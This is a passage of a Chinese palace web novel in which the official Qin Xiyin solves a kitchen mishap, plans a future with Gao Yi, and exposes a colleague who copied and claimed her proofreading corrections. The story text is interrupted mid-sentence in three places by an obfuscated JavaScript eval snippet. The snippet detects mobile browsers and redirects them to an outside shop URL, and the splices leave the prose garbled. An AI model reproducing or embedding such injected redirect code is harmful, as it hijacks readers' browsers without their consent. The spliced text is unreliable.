跟高毅所想的一样,那个伙计的手是黑的,应该是一直在烧火,来不及洗手导致的。 高毅问那伙计:“你刚才的柴火,是从哪里拿的?” 伙计道:“嗝……柴火……当然是从柴火堆里拿的……” 老板有些着急,对高毅道:“这位大人,您为什么问这种无关的问题啊……” 高毅却说道:“不,这不是无关的问题。” 秦惜音也跟上了高毅的思路,对老板道:“老板,您用火钳往灶膛里夹一下,看能不能夹出点什么。” 老板疑惑道:“这是什么意思?” 高毅已经直接拿起火钳,往灶膛里伸去。 过了一会,高毅夹出一些块状物,形状有些奇怪。仔细一看,竟然是已经被烤焦的竹笋。 高毅说道:“事情搞清楚了,这个伙计喝多了,把竹笋当成了柴火,塞到了灶膛里。他的手是黑的,所以装竹笋的篮子里也有黑印子。 竹笋被火烧,一时半会不会化为灰烬,还保留着原有的形状。” 众人一看,果然如此。 厨子们都松了一口气,而老板则是生气地责骂那个烧火的伙计:“你喝了多少,怎么连柴火和竹笋都分不出来?” 伙计仍然瞪着一双无神的眼,说道:“我不知道啊……我烧的是柴火……” 老板指着地上的黑色竹笋说道:“那你看这是什么?” “这是……煤球吧……嗝……” 69. 展望未来 老板无奈地把那个醉酒的伙计推到一边,那伙计竟然躺倒在地,呼呼大睡起来。 老板有些不好意思地看向秦惜音二人,说道:“对不住了,两位客官,后厨的人喝酒误事,把你们的菜都给毁了。今日幸亏你们帮忙调查,我才没有冤枉厨师。 这样,油焖春笋虽然没了,但其他的菜还有,你们随便点,我都给你们打五折。” 秦惜音笑道:“那可太好了,老板,你真大方。” “哪里,两位客官聪明绝顶,短短时间就破了案,也让我长了见识。这位大人是大理寺的官员,能破案倒不奇怪。但姑娘你的思维也很敏捷,跟这位大人想到一块去了,真是心有灵犀啊。” 秦惜音跟高毅对视了一眼,随即笑道:“老板,您真会说话。” 高毅说道:“老板说得没错,我跟这位姑娘确实心有灵犀。” 接着,高毅带着秦惜音往外走去。 老板却把高毅拉到一边,小声说道:“大人,我看你跟这位姑娘感情这么好,想必是好事将近。看在我今日给你们打折的份上,以后你们的婚宴在我这里举办如何?我一定给你们准备最好的菜和最优秀的厨师。” 高毅笑道:“这个……以后再说吧。” 秦惜音虽然隔得远,但也听见了两人的窃窃私语,直接走过来说道:“老板,你别胡说了,什么婚礼,还差得远。” 说着,秦惜音就把高毅拉出去了。 走了一段路后,秦惜音一回头,发现高毅在笑。 秦惜音道:“笑什么?不准笑。” 高毅道:“那可不行,我见到你就开心。” 秦惜音干脆走到他身后,道:“你走前面,就看不见我了。” 高毅只得走在前面,但他还是在笑。 秦惜音踢了他一脚。 很快,两人来到包间。 菜上齐后,两人很快吃完,结账离开。 离开前,老板还热情地说:“两位客官,如果要办婚宴,一定要来这里啊!” 秦惜音红着脸跑了,高毅回头笑道:“我们会考虑的。” 下午,秦惜音要去给黄典籍买书,高毅陪她一起去。 高毅知道几家比较偏僻的书店,带秦惜音一家一家地看过去。秦惜音在这些书店里找到两本黄典籍要的书,十分惊喜。 原本她以为,今天又要无功而返了。 秦惜音拍了拍高毅的肩膀,道:“高大人,今天你替我找书,可立了大功。” 高毅笑道:“那秦大人该怎么奖励我呢?” “小伙子,好好干。虽然现在给不了实质性的奖励,但总有一天,你会有光明的未来。” “好大一张饼。” “哈哈哈哈……” 两人又在偏僻的街巷闲逛片刻,就到了秦惜音该回宫的时间。 高毅仍是用自家的马车送她回去。 路上,秦惜音有些惆怅地说道:“也不知道下次什么时候能再见面。” 高毅摸了摸她的头,说道:“快了。等你继续升官,权力变大,要出宫就容易多了。” “嗯。我刚才想到一个问题……” “什么问题?” “假如……假如以后我们成了亲,但我还是宫中女官,那我们也要很久才能见一次。” 高毅沉默了一会,说道:“你开心就好。无论你想过什么样的生活,我都支持你。” “你不会希望我辞掉官职,专心做你的夫人吗?” “我当然希望能每天见到你……但是,如果你不想放弃事业,我就支持你。反正,我们都有假期,等到假期肯定就能相聚了。” “这么大的事,你现在就想清楚了?” “比起不能娶你,我更愿意忍受婚后的聚少离多。只要你愿意成为我的妻子,其他的事都没有那么重要。” “谢谢你……” “我说了,以后不用跟我说谢谢。惜音,你现在不用考虑那么长远的事,走一步看一步吧。也许以后,你有在外做官的机会。那我们就不用分开了。” “可是,自古以来,女官只有宫内有,从来没有在宫外的。” “事在人为,也许你能闯出一片天呢。” 秦惜音忽然觉得精神振奋,用力地点点头:“嗯,我会努力的。” 跟高毅在一起,她不仅感受到完全被接纳,而且还感受到自己一直被支持。 高毅懂她的一切。 他不会自以为是地折断秦惜音的羽翼,也不会居高临下地替她安排未来的事。 他对秦惜音的感情,是建立在尊重和理解上的。 这样的人,大概可以称得上是灵魂伴侣了吧。 秦惜音把头靠在高毅的肩膀上,小声说道:“高毅,我一定会嫁给你。而且,我一定会为我们搏一个更好的未来。” 高毅却笑道:“一般这种话,是由男人来说的。” 秦惜音抬头道:“男人能做的,我也能做。如果你辞官的话,我就养你。” “小丫头,你真有志气。不过呢,我不会把生活的重担压在你身上的。家里的事,不需要你操心,你只需要做自己想做的事就好。” “好啊,那我岂不是很轻松?” “那当然,我只希望你每天都开开心心的。” 秦惜音觉得自己快哭了,但她憋住了眼泪,低着头掩饰自己的表情。 高毅拿出一包糕点,递到她面前。 秦惜音惊喜道:“哇,这是十全斋的糕点,而且每一块口味都不同!你是什么时候买的?” “刚才在逛街的时候,趁你不注意的时候买的。” “哇,每块都是我喜欢的,你怎么知道我所有喜欢的口味?” “我知道你喜欢十全斋的所有糕点,无论怎么买都不会出错的。” “我才没这么吃货呢。” “哈哈哈……” 由于每种口味都只有一块,秦惜音就不客气了,全都自己吃了。 她也想给高毅吃几块,但高毅说自己不要。正好她也是做做样子。 很快,就到了宫门口。 秦惜音准备下车,高毅摸了摸她的头,说道:“我随时等着下次见面。” 秦惜音笑道:“下次可说不准是什么时候。” “没关系,我会一直等。” 秦惜音对他一笑,然后跳下了马车,回了宫里。 她把在宫外买到的书交给黄典籍,黄典籍十分高兴。虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751596|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然这次也没有买到所有黄典籍想要的书,但有收获已经很好了。 黄典籍笑着问秦惜音:“惜音,今天出宫去见你那位朋友,开心吗?” 秦惜音吓了一跳,没想到黄典籍会问这个问题。她只得含糊说道:“我见到他了,挺开心的,多谢黄典籍关心。” 黄典籍看着她,笑了笑,也没有继续问下去。 秦惜音总觉得,黄典籍似乎发现了什么,但看破不说破。 休假结束,秦惜音继续开始工作。 她现在是女官了,可以安排底下人干活。 但是,一连几天,她都没安排成功。 每次她叫女史们做事,荆双蝶就会用另一个理由,把大家都叫走,让秦惜音成为光杆司令。 好几次,秦惜音都只能一个人干好几个人的活。 有时候她干不完,要熬夜,荆双蝶又说影响她睡觉了,让秦惜音另找地方干活。 秦惜音只能点着蜡烛,在院子里干活。 好在现在是春天,蚊虫不多。她只需要做好防护,几乎不会被咬。 春寒料峭,有时候她觉得冷,或者觉得饿,都只能忍忍。 实在受不了的时候,她都会默念:“天将降大任于是人也,必先苦其心志,劳其体肤,空乏其身……”【注释1】 默念着先贤的话,她似乎又充满了力量。 一个月下来,她瘦了一大圈。 每次松月看到她的时候,都有些心疼,让秦惜音多吃点。 但是,这不是多吃能解决的。 秦惜音每天劳心劳力,干过量的活,无论吃多少都消耗光了。 有一次,松月对秦惜音道:“惜音,如果你的同僚总是欺负你的话,为什么不向上级告状呢?你现在好歹是女官,不是身份低微的女史了。尚仪局每次开会的时候,你总能见到很多上级吧?” 秦惜音摇头道:“不妥。我现在刚接任掌籍之位没多久,如果开始告状的话,也许上级会以为我能力不足,或是我在故意搞斗争。而且,有很多上级是不喜欢下级告状的,会觉得下级心眼多。” “可是,你如果说的是事实的话,你的上级也一定会明察秋毫的,未必会指责你。我之前听你说,黄典籍对你印象就不错,你可以跟她说。” “不用了,我觉得这些小事我自己能控制。长官也不是我爹娘,凭什么事事为我出头?同僚之间有些小摩擦也算正常,长官应该更希望我们能彼此容忍。 我觉得,化解欺负也是一个官员应该学会的事情。如果什么事都依赖别人去解决,那要我这个女官干什么呢?” “可是,你应对的办法就是一直容忍荆掌籍吧?这样你会很累。” “我做好自己分内的事,其实也是在积累口碑。多做一些事,也积累了经验。如果有一天我升上去了,自然就不用受荆双蝶的欺负了。” “可是,荆双蝶当掌籍好几年了都没升,你有把握升得比她快吗?” “以前我说不好,但现在我几乎可以确定,我一定会比她先升上去。” “为什么这么肯定?” “因为她总琢磨着怎么为难人,而我总琢磨着怎么做好工作。所以,她和我之间的差距,只会越来越大。” 70. 功劳被抢 松月笑道:“好吧,祝你好运。” 这天,荆双蝶给了秦惜音几十本书,说道:“这些书需要校对一下,如果有错误,写在白纸上,夹在书里。我已经校对过一次,应该没什么大问题了,你再看一遍,保险一点。” 秦惜音点头道:“嗯,我会好好看的。” “还有,女史们经验不足,这些书不能交给她们校对,必须你自己看。看完之前,暂时不要做其他的。” “嗯。” 秦惜音开始专心校对。 她本以为没什么错误的地方了,但是,几乎每看一两页,她都能找出一处甚至多处错误。 看完一本书,勘误用的白纸夹满了书页,显得书籍厚了许多。 秦惜音一本接着一本地校对,心无旁骛。 荆双蝶有事走开了,等她回来时,见秦惜音看过的书里夹满了白纸,有些不满,说道:“惜音,白纸也是有成本的,你夹这么多白纸进去干什么?” 秦惜音道:“荆姐姐,我没有浪费白纸,每一张白纸上都写了需要勘误的地方。由于书页不同,每一页的错误不能写在同一张白纸上,而要另外用一张白纸,所以显得多了些。” 荆双蝶皱眉道:“怎么可能?这些书籍已经是我勘误后的版本了,按理说不会有什么错误的。你找出这么多错误来,是不是把原本对的地方改错了?” 秦惜音冷静地道:“荆姐姐,你别误会,我改动的每一处都是有依据的,不会把对的改成错的。不信的话,您可以翻开来看看。” 荆双蝶冷笑:“就算我有遗漏没改的地方,也不可能有这么多。惜音,我平时跟你说,有空要多读书、多学习,可你不听,一有空就跑出宫去玩。现在需要用到学识的时候,你错漏百出,闹出这种笑话。 还好是我先看见了,如果直接把你的勘误结果上交给长官们,只怕不止你出丑,连我也要跟着被责骂。” 秦惜音内心很复杂,她只能压下各种心绪,说道:“荆姐姐,要不您先看看呢?” 荆双蝶就随便翻开一页,指着秦惜音写的字,说道:“就比如这里,你为什么要把‘义’字改为‘叉’字?这有什么道理?” 秦惜音解释道:“这句话原文是‘温八吟,又号温八义’,这个‘义’字明显错了,应该是‘温八叉’才对。” 荆双蝶道:“你真可笑,这句话的意思是,有个叫温八吟的人,他的字号叫温八义。这哪里错了?你还能把别人名字改了?‘八叉’是何意?简直不通之极。” 秦惜音有些惊讶,她没想到荆双蝶会这样理解,只好解释道:“荆姐姐,‘温八吟’、‘温八叉’都是指前朝诗人温庭筠。因为温庭筠擅长作赋,而且有急才,八叉手而成八韵,所以时人称他为‘温八叉’。 又因为温庭筠作赋不需起草,一吟一韵,又号‘温八吟’。所以,‘温八吟’、‘温八叉’都是指他。‘义’字和‘叉’字字形相近,想必是抄书的人不知道这个典故,抄错了。” 荆双蝶面色有点难看,说道:“好吧,这个算你蒙对了。那你为什么把‘诗经好逑’改为‘诗美好逑’?《诗经》是第一部诗歌总集,‘好逑’出自《诗经》第一篇‘窈窕淑女,君子好逑’。‘诗经好逑’才是通顺的,‘诗美’是何意?” “荆姐姐,这要联系上下文来看。这整个句子是‘《诗》美好逑,《易》称归妹’。‘归妹’是《易经》中的一个卦象,‘《易》称归妹’的意思是‘易经推崇归妹这个卦象’。所以,‘称’是一个动词,是推崇的意思。 为了跟‘易称归妹’对仗,前一句也应该是类似的结构才对。‘诗美好逑’的意思是《诗经》赞美‘好逑’这一篇章,也就是赞美‘关雎’这一篇。 《诗经》可以简称为《诗》,《易经》可以简称为《易》。整句话应该这样断句:诗/美/好逑,易/称/归妹。荆姐姐试想想其中的道理。” 荆双蝶这才回过神来,知道秦惜音改得有道理,但还是说道:“就算第二个字是动词,也可以用其他动词,为什么要用‘美’字?” “因为这句话的原句出自《后汉书》,原句就是‘诗美好逑,易称归妹’啊。这本书只是把这句话引用了一下而已。我知道原句,所以这样改。” 荆双蝶偷偷握紧了拳头。 她没想到,秦惜音的阅读量竟然这么大。 她本以为错的是秦惜音,没想到错的是自己。是因为自己知识不够,所以很多本来就错了的地方她没有发现。 但是,她不愿意面对这一点。 她只能给自己找补道:“看来,是我校对的时候太累了,所以有这么多错误没有发现。多亏有你。你接着校对吧,我不打扰你了。” 秦惜音点了点头,继续手头的活。 几天后,秦惜音把校对好的所有书籍都交给了荆双蝶,让荆双蝶过目。 荆双蝶只说道:“辛苦了,我会把这些书交给长官的。” 但是,她并没有第一时间上交。 某天,趁着秦惜音不在的时候,荆双蝶把秦惜音所写的纸全都抽出来,自己抄写一遍,再夹到书里。 然后,她把秦惜音写的纸张都烧了。 接着,荆双蝶叫来玉秀,让她跟自己一起把这些书籍拿给沈司籍。 沈司籍名沈芦叶,今年二十四岁。因才华出众,年纪虽不大,就已经是六品司籍了。 就是她叫荆双蝶校对这些书籍的。 荆双蝶把校对好的书籍还给沈司籍,沈司籍翻看了之后,连连点头:“不错。一些很隐蔽的错误,你都找出来了,所写的内容基本上都是对的。没想到,这些书籍里面有这么多错误,光是修订已经不够了,恐怕得重新抄写。” 荆双蝶笑道:“属下花了十来天的功夫,才把错误都找出来。只要是长官们的吩咐,属下都尽心尽力。” “嗯。这都是你自己校对的吗?” “是。” 沈司籍见这些白纸上的字迹确实是荆双蝶的,点头道:“你现在比起以前,进步多了。再接再厉,恐怕不久后就能升官了。” 荆双蝶惊喜道:“真的吗?多谢沈司籍。” “你不用谢我,我不会刻意提拔谁,只看谁有能力。荆掌籍,你好生努力吧。” “是。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751597|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 沈司籍一边说着话,一边翻看着书里新勘误的内容。大部分内容,她扫一眼就过去了。 但是,在翻开某一页时,她对荆双蝶道:“荆掌籍,你这张纸上,为什么要写‘将《思台赋》改为《思怡赋》’?‘思台赋’应该是错了,但是‘思怡赋’又是什么?我从未听过这篇赋。” 荆双蝶有些慌乱,她也不知道这是什么,只能勉强解释道:“是……前人有一篇赋,叫做《思怡赋》,我看书上写成了《思台赋》,就改了过来。” “奇怪了……前人的诗赋,我就算没读过,也知道名字。可是这《思怡赋》是何人所写?内容又是什么?‘思怡’二字,当做名词理解,似乎不通,倒像是人名。但是,古人一般不会把这样的人名作为赋的名称才对。 虽然曹植有《洛神赋》,贾谊有《吊屈原赋》,但洛神、屈原都是名人,旁人一看便知。‘思怡’并不是什么出名的名字,按理来说不会有人把自己的赋取名为《思怡赋》。” “我……我也记不清了,只是隐约记得,前些年读到过一本古籍,里面提过《思怡赋》,所以我就这么改了……” 沈司籍皱眉道:“如果连你自己也不确定、没有充足的依据的话,是不能直接改的,至少应该在白纸上标注‘存疑待考’之类的字。但是,你并没有标注。而且,我更倾向于是你记错了。 荆掌籍,这些勘误的内容里,还有多少是你想当然写上去的? 我记得我说过很多次,校对书籍最重要的是把错误的内容改成正确的,但一旦要下笔改,就必须保证改的内容绝对正确,不能有任何想当然的内容。 如果你连这条原则都没法遵守,那还当什么掌籍?” “我……我没有想当然。实不相瞒,这本书是秦掌籍校对的,其他书才是我校对的。所以,这个内容得问秦掌籍。” 沈司籍有些奇怪地看着她:“但是,我刚才问你是不是你自己独自校对,你又说是……所以,你刚才在说谎?” “我……不是您想的那样。因为只有这一本书是秦掌籍校对的,其他的书都是我校对的,所以要说是我自己校对全部,也不能说错……当时我嫌麻烦,没有解释得太清楚。” “你只需要说某一本书是秦掌籍校对的,其他是你自己校对的,一句话的事,很麻烦吗?还是你想昧下她的功劳呢?现在这本书出问题了,你倒是肯说实话了。 荆掌籍,我收回刚才说你可能很快升官的话。我认为,你的心性还有待磨炼,学识也有待提高。” 荆双蝶脸上红一阵,白一阵,不敢辩驳,只能说:“司籍大人教训得对……” 沈司籍看向玉秀:“玉秀,你去把秦掌籍叫来,我要问问她这里为什么这么改。” 玉秀道:“是。” 很快,玉秀就把秦惜音带来了。 沈司籍拿之前的问题问她。 秦惜音见那张白纸上不是自己的字迹,反而是荆双蝶的笔迹,有些惊讶。 难道,荆双蝶把自己的勘误内容重新抄了一遍? 可是,她抄也没抄对。就比如这个“思怡赋”,着实可笑。 71. 明察秋毫 秦惜音解释道:“沈司籍,我原来写的不是《思怡赋》,而是《思子台赋》。这篇赋是前朝文人苏过所写。 传说,汉武帝时期,太子刘据谋反被杀,后来查清太子是冤枉的,汉武帝十分后悔,建‘思子台’。苏过根据这一史实,作《思子台赋》。 这张纸上的‘思怡赋’并非属下所写,想必是别人抄录了属下的内容,但看错了,把‘思子台’抄成了‘思怡’。‘子台’合在一起,跟‘怡’字很像。” 沈司籍笑道:“原来如此。” 接着,沈司籍看向荆双蝶,道:“荆掌籍,看来你又撒了一个谎。” 荆双蝶惊讶道:“属下……属下哪里撒谎了,还请大人明示。” “你刚才说,只有这一本书是秦掌籍校对的,其他书都是你校对的。这样的话,这些白纸上应该有两种笔迹才对,一种是你的,一种是秦掌籍的。 但是,所有的书里,都只有你的笔迹。本官猜测,本来所有的书籍都是惜音校对的,字迹也是她的。你把她的字全部抄写了一遍,然后上交你自己写的版本。所以,字迹才会相同,对不对?” 见沈司籍猜到这一步,荆双蝶也没了办法,冷汗直流,承认道:“是……大人容禀,是因为惜音的字迹没有属下好看,所以属下才重新抄了一遍,这是为了把最好的版本呈交给您。” “如果是这样的话,你刚才为什么不解释呢?明明勘正错误的是她,你只有抄写一遍的功劳,你却不说,反而抢走所有功劳。 再者,如果你真的是因为这个理由才重新抄写,那惜音写的原版在哪里?如果你把原版妥善保存,本官姑且能信你。 而且,本官也不是没见过惜音的字迹。她的字明明写得比你好看。” “这……我……我怕惜音写的内容流传出去,造成什么不好的影响,所以把她写的那几张纸烧了……” 沈司籍摇头道:“荆掌籍,你平日一向稳重,没想到今日会做出这种事……念在你对司籍司有功劳,本官不重罚你,只罚你半个月俸禄。至于惜音,不必跟荆掌籍同住了,搬到我的屋子吧。” 秦惜音喜出望外:“多谢沈司籍!” 荆双蝶喃喃道:“大人……这是不合规矩的……” 沈司籍道:“我知道两位掌籍应该住在一起,但那是为了两人互相帮助,互相补足对方的不足。如果只是一方欺压另一方,那就没有同住的必要了。 本官身为六品女官,身边需要一个得力的助手。让得力助手跟我睡一间屋子,方便随时吩咐事情,也无可厚非。 就这么定了。 荆掌籍和玉秀先回去,惜音留下,帮忙看看这些书里还有哪些抄错的地方。” 沈司籍这么说,其他人都没再反对。 荆掌籍和玉秀灰溜溜地离开,而秦惜音还沉浸在巨大的喜悦中。 她本以为,自己还要忍受荆双蝶很久。没想到,转机马上就来了。 秦惜音留了下来,把荆双蝶抄错的地方都一一指了出来,重新纠正。 很多地方,荆双蝶不明白为什么要那么改,所以会抄错。 所以,别人的功劳不是那么好贪的。 等所有的错误都改好了,沈司籍点了点头,道:“可以了。你先去把东西搬来吧。” 秦惜音道:“是。” 秦惜音回到房间,把自己的东西整理了一下,搬到了沈司籍屋子里。 荆双蝶看着秦惜音搬家,也没法制止,只能离开屋子,眼不见为净。 跟秦惜音要好的几个女史,来帮着搬家,很快就搬完了。 从此,秦惜音跟着沈司籍住,又学到了很多。 沈司籍比较严格,但为人正直,不会刻意刁难人。只要秦惜音把她教的东西学会,她就不会约束秦惜音了。 但是,如果秦惜音在工作上犯了错误,或是学习上遇到什么难处,沈司籍就会较为严肃地指出。 秦惜音每天都高度集中精神,生怕行差踏错。 没过几天,沈司籍在看公中账本的时候,发现秦惜音有一笔罚金20两入了公账,便问秦惜音怎么回事。 因为,司籍司从来不会罚某一个人出20两这样的巨款到公中的。 秦惜音便如实禀告,说是之前自己帮荆双蝶买东西,但玉秀说自己超支了,要自己交罚金20两,否则就要离开司籍司。 于是,她只好交了。 沈司籍冷笑道:“竟然有这样的事。若非我闲来无事,把公账一笔一笔核对一下,都不知道这件荒唐事。你放心,这笔钱不该你出,会还给你。” 接着,沈司籍把荆双蝶和玉秀叫来,询问这件事是否属实。 这件事没什么可以抵赖的空间,所以荆双蝶和玉秀只好承认了。 沈司籍骂了她们两个一顿,然后从公中的钱当中拿出二十两,还给了秦惜音。 接着,沈司籍对荆双蝶和玉秀道:“荆掌籍,如果你以后再敢这样欺负人的话,你这女官也就做到头了。还有你,玉秀,你必须明白一点,女官是女官,女史是女史,谁是什么身份,就干什么事。就算你是荆掌籍的表妹,也不能狐假虎威,欺负新人。 再有下次,我让你连女史都没得当。” 荆双蝶和玉秀只能低着头听训,然后唯唯而退。 秦惜音觉得很解气。 她也很感激自己,在低谷时没有放弃,而是坚持了下来。 否则,也等不来现在的好日子。 秦惜音住在沈司籍这里,而沈司籍日常来往的人,以女官居多。 秦惜音也因此对六尚局的女官们更加了解。 就拿司籍司来说,职位上有六品司籍、七品典籍、八品掌籍各两人,但现在名额不满,六品司籍只有沈芦叶一人,七品典籍、八品掌籍倒是满了。 秦惜音现在是八品掌籍,她如果要往上升,只能一级一级升。 但是,七品位置上的两人都满了,她没有可以升的位置。 只能等七品典籍中的两人升上去了或者离开宫廷了,她才有机会。 因此,她只能做好该做的,等待时机。 两位七品典籍,一位是黄典籍,黄莺的姑姑,今年也才二十多岁。不过,她当典籍很多年了,只要通过考试,就有可能往上升。 只是,升六品女官的考试很难,所以黄典籍一直没有成功。 另一位七品典籍姓莫,叫莫寒星。她也待在典籍的位置上很多年了,而且已经很久没有参加升迁考试,似乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751598|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有升迁的打算。 她总是称病,有空就在房中看书,很少跟人来往。由于她身体不好,上司们也很少叫她干活。 秦惜音见过她几次,觉得她神情有些忧郁,而且眼神中时常有一丝孤愤,不知道为什么。 这天,秦惜音闲来无事,写了几首诗。 莫寒星刚好路过,看见了,就要拿秦惜音的诗看。 秦惜音虽然觉得自己写得一般,但长官要看,她还是递给了莫寒星。 莫寒星看了秦惜音的诗,眼中闪过一丝神采,似乎很是欣赏。 过了一会,她不知想到了什么,神情有点低迷。 莫寒星道:“惜音,你的诗写得很好,不过别让人看见,也别流传出去。至少在宫里的这几年,不要让人知道。” 秦惜音有些惊讶,但还是说道:“多谢莫典籍教导,属下明白了。” 莫寒星走后,秦惜音把自己写的诗都藏了起来。 秦惜音不知道莫寒星为什么这么说,可能是因为诗作流传出去,别人如果过度解读,会给秦惜音带来麻烦和风险。 这么一想,也有道理。 秦惜音记得,前些年有一位闺阁小姐,写了几首咏景诗,其中有一句提到了鸳鸯,夸赞鸳鸯毛色漂亮。 诗作流传出去后,就有人说她小小年纪就想男人了,所以诗中才出现鸳鸯。更有甚者,说她已经有情郎了,所以看见鸳鸯成双成对,她就心思激荡起来,才写了这几首诗。 那位闺阁小姐才十一岁,因为此事,名声大受影响,性格也变得极为内向。 虽然她因为家世尚可,后来过得也还可以,但据说她从此郁郁寡欢,也不敢出门见人了,流言蜚语对她还是造成了很大的伤害。 秦惜音从荆双蝶的屋子搬走后,荆双蝶又一个人住了。 虽然这段时间,她频频被上司斥责,但房间又归她一个人用,她心情还是不错的。 她的表妹玉秀,也时常来荆双蝶这里说话,跟以前一样,不需要躲着谁了。 这天,玉秀又来了,对荆双蝶道:“表姐,现在惜音搬到了沈司籍那里,沈司籍明显更赏识她。如果有升官的机会,惜音该不会比你先升吧?” 荆双蝶道:“我在司籍司多少年了,惜音才来多久?她在短时间内升为八品掌籍,已经是破格录用了,总不能比我先升七品,否则也难以服众啊。再说,七品位置上都有人了,只有六品司籍还少一人。 沈司籍就算再赏识惜音,也不可能把惜音提拔到跟自己一样的位置的。” “可是,七品位置没有空缺,她升不上去,你也升不上去啊。该怎么办?如果你能升七品,那我就有机会当八品掌籍了。” 荆双蝶沉思道:“现在七品位置上,是黄典籍和莫典籍……黄典籍兢兢业业,知识丰富,挑不出错来。但是,她又不够厉害,升不上六品。她也暂时没有出宫的打算……剩下的就是莫典籍。 莫典籍总是称病,实在不是一个称职的七品女官。如果我们能拿到她的错处,说不定能让她贬官或是离宫。 不过,这个错处要足够大才行。得罪上司的事,只能干一次。一次不成功,以后我就麻烦了。” “表姐,莫非你已经有办法了?” 72. 强权压人 荆双蝶道:“其实,我知道莫典籍的一个秘密。只是,需要等一个合适的时间。” 玉秀问道:“什么秘密?她杀过人?还是贪污了巨款?” “都不是。她的这个秘密,虽然她自己没有错,但如果我运用得当,足以让她丧失现在的地位,甚至丧命。” 玉秀困惑道:“我不懂……既然有这么厉害的秘密,为什么不现在用出来?” “因为现在欠缺一些必要的条件……就像这把琴,它自己能响吗?” “不能。必须得有人弹它才行。” “没错。要让一张琴响,琴本身要完好无缺、弹琴者要以手抚琴,两个条件缺一不可。而要让莫典籍下台,需要的条件更多。我们只需静待时机。” “好的。” 几天后,瑾妃忽然派人来找秦惜音。 秦惜音赶紧去比翼宫,拜见瑾妃。 瑾妃屏退宫人,只留下秦惜音一人,连门窗都关上了。 秦惜音心中有不好的预感,大着胆子问道:“娘娘,您召奴婢前来,不知有什么事?” 瑾妃坐在榻上,手上捧着一卷书,一边翻看,一边说道:“本宫近日得了一本诗集,觉得挺有意思。” 秦惜音问道:“什么诗集?” “《朝露集》,你听说过吗?” 秦惜音心跳快了一拍。她当然听说过这本诗集,因为这是一位书铺的老板搜集了一些女孩的诗作,编纂而成的。 秦惜音早些年作的诗,也有几首被选录在《朝露集》里。 那位书铺老板是为了不让女性的诗作埋没,才编纂了这本诗集。 其中不仅有官家千金的诗,也有贫女、女塾师、从事手工业的女性,甚至是农妇的诗。 每个人身份不同,写出来的诗风格也不同。编在同一本书册里,可以很直观地感受到不同阶层女性的精神风貌。 这本诗集刚编成的时候,也曾风靡一时。 秦惜音自己,也曾经买了几本收藏。后来秦家抄家,她所有的书都被卖了,收藏的《朝露集》也没了。 没想到,现在她却听瑾妃提起。 秦惜音回答道:“回娘娘,奴婢听说过这本诗集。” 瑾妃笑道:“恐怕不止是听说过吧?这里面还收录了你的诗。” 说着,瑾妃把手上的书给秦惜音看,正是《朝露集》。 秦惜音道:“这几首诗是奴婢年幼时所作,难登大雅之堂,让娘娘见笑了。” “秦女官过谦了。依本宫看,你的诗写得很好。本宫无意间得到这本诗集,才发现宫中女官里,竟然有你这么一位才女。” “娘娘过奖了。” “你既然会作诗,不如替本宫作一首?” 秦惜音本不想显露自己的才能,但瑾妃已经看见她以前的诗作了,她再推脱不会,就是在说谎了。 因此,秦惜音只得说道:“娘娘要出什么题目?奴婢尽力一试。” “你刚才可曾见到本宫宫里的海棠花?” “是,奴婢见到了,白海棠开得很美。” “你就以白海棠为题,作诗一两首。” “是。” 秦惜音回忆着刚才见到的白海棠。 瑾妃宫里的白海棠长得很特殊,是从枝头垂挂下来的,一层一层的,像风铃一样。如果远远地看,又像是舞姬的白裙子。 秦惜音稍加思索,就有了灵感,提笔写下: 《咏白海棠》其一 簇簇风铃挂晓晨,翩翩舞袖唤行人。 轻盈欲拂山间雪,洁白堪湮腕上银。 玉质仙姿林内隐,清容月貌雾中氤。 愿祈岁岁长如此,寂寂宫墙伴妾身。 其二 非梨非雪梦中身,渺渺茫茫下九尘。 霜质无需华彩染,贞心何必丽辞申。 凡俗权宦交游少,世外仙人探访频。 料得前生缘早定,百花唯有汝为邻。 写完后,瑾妃看了看这首诗,满意地点头:“不错,写得很好,比之前……比之前本宫见到的其他诗都要好。” “谢娘娘谬赞。” 不知为何,秦惜音总觉得,瑾妃刚才想说什么话,但硬生生忍住没说。 过了一会,秦惜音道:“娘娘,如果您没其他事的话,奴婢先告退了。” 瑾妃说道:“等等……这两首咏白海棠的诗,是谁所写?” 秦惜音有些惊讶道:“是奴婢刚才所写。” 秦惜音不知道瑾妃为什么会这么问,总不会是瑾妃失忆了吧? 但是,瑾妃却微笑看着秦惜音,笑容中尽是森然之意。 她又问道:“这两首诗,是谁所写?你想好了再回答。” “这……确实是奴婢刚才所写,是娘娘您叫奴婢写的……” 这时,瑾妃忽然抓住秦惜音的手,移到燃烧的蜡烛上。 